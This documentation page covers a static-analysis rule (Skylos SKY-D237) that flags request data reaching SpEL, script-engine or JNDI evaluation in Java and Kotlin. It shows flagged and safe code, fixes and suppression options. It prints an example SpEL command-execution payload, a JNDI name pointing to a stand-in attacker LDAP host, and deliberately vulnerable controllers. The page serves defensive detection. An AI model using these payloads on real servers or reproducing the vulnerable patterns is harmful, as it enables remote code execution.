SKY-D237 · Security in code
Expression, JNDI or script injection
Expression languages such as Spring SpEL, OGNL and MVEL, script engines, Groovy and JNDI lookups all turn a string into running code or a loaded class. SKY-D237 reports request data that reaches the expression, script or lookup name of one of these APIs in Java or Kotlin.
- Languages
- Java, Kotlin
- Quality gate
- counted toward the gate limits; a CRITICAL finding fails the gate on its own (full and diff scans)
- Finding type
- review
Why it matters
SpEL text such as T(java.lang.Runtime).getRuntime().exec('id') runs a command, and a JNDI name such as ldap://evil.example/x can load a remote class, the Log4Shell technique. Either one gives the visitor code execution on the server.
What Skylos flags
package com.example; import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController; @RestControllerpublic class PriceController { private final ExpressionParser parser = new SpelExpressionParser(); @GetMapping("/price") public Object price(@RequestParam String formula) { Expression expression = parser.parseExpression(formula); return expression.getValue(new Order(100, 0.2)); } public record Order(int base, double tax) {}}What Skylos leaves alone
package com.example; import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.SimpleEvaluationContext;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController; @RestControllerpublic class PriceController { private final ExpressionParser parser = new SpelExpressionParser(); @GetMapping("/price") public Object price(@RequestParam String formula) { SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); Expression expression = parser.parseExpression(formula); return expression.getValue(context, new Order(100, 0.2)); } public record Order(int base, double tax) {}}Why Skylos leaves it alone
Every evaluation of the parsed expression passes a SimpleEvaluationContext, which has no type references, constructors or bean lookups, so T(...) and new cannot be used. Skylos follows the same rule as CodeQL here.
More languages
Kotlin
Flagged
package com.example import javax.script.ScriptEngineimport javax.script.ScriptEngineManagerimport org.springframework.web.bind.annotation.GetMappingimport org.springframework.web.bind.annotation.RequestParamimport org.springframework.web.bind.annotation.RestController @RestControllerclass RuleController { private val engine: ScriptEngine = ScriptEngineManager().getEngineByName("javascript") @GetMapping("/rules/check") fun check(@RequestParam rule: String): Any? = engine.eval(rule)}Not flagged
package com.example import javax.script.ScriptEngineimport javax.script.ScriptEngineManagerimport org.springframework.web.bind.annotation.GetMappingimport org.springframework.web.bind.annotation.RequestParamimport org.springframework.web.bind.annotation.RestController @RestControllerclass RuleController { private val engine: ScriptEngine = ScriptEngineManager().getEngineByName("javascript") @GetMapping("/rules/check") fun check(@RequestParam input: String): Any? { val bindings = engine.createBindings() bindings["input"] = input return engine.eval("input.length < 64", bindings) }}Why Skylos leaves it alone
The script is a fixed string and the request value is passed in as a variable through Bindings. The script can read the value but the value can never become code.
How Skylos decides
- Finds calls on receivers whose declared type is known: SpEL
ExpressionParser.parseExpression(), JNDIContext.lookup()andInitialContext.doLookup(), SpringJndiTemplateandLdapTemplatelookups,ScriptEngine.eval(),GroovyShell.evaluate(), OGNL, MVEL, Jakarta EL and JEXL evaluation, and similar APIs. - Checks the expression, script or name argument for request data: servlet request getters, Spring and JAX-RS handler parameters (
@RequestParam,@PathVariable,@RequestBodyand others), and helpers in the file that return them. - Skips a SpEL
parseExpression()whose result is only ever evaluated with aSimpleEvaluationContext. A no-argumentgetValue()uses the full context and does not count. - Reports CRITICAL for every other match. The finding names the kind: expression language, script source or JNDI lookup.
How to fix it
Do not evaluate input as an expression, script or JNDI name. Evaluate a fixed expression and pass the input as a variable or root object. If users must write expressions, evaluate them with a SimpleEvaluationContext or a sandboxed engine with an allowlist.
package com.example; import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController; @RestControllerpublic class PriceController { private final ExpressionParser parser = new SpelExpressionParser();Added: private final Expression total = parser.parseExpression("base * (1 + tax)"); @GetMapping("/price")Removed: public Object price(@RequestParam String formula) {Removed: Expression expression = parser.parseExpression(formula);Removed: return expression.getValue(new Order(100, 0.2));Added: public Object price(@RequestParam double tax) {Added: return total.getValue(new Order(100, tax)); } public record Order(int base, double tax) {}}When it can be wrong
- An admin-only screen that evaluates expressions written by trusted staff is reported the same way, because the text still comes from a request.
- A SpEL expression evaluated with a
SimpleEvaluationContextthat is built in another method or class is not recognised and stays reported.
Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.
How to silence it
Mark a reviewed line and say why. A bare
// noqadoes not hide CRITICAL security findings.Java Expression e = parser.parseExpression(formula); // skylos: ignore[SKY-D237] admin onlyAccept the findings you already have with
skylos baseline ., then scan with--baselineso only new ones are listed.[tool.skylos] ignore = ["SKY-D237"]turns the rule off for the whole project.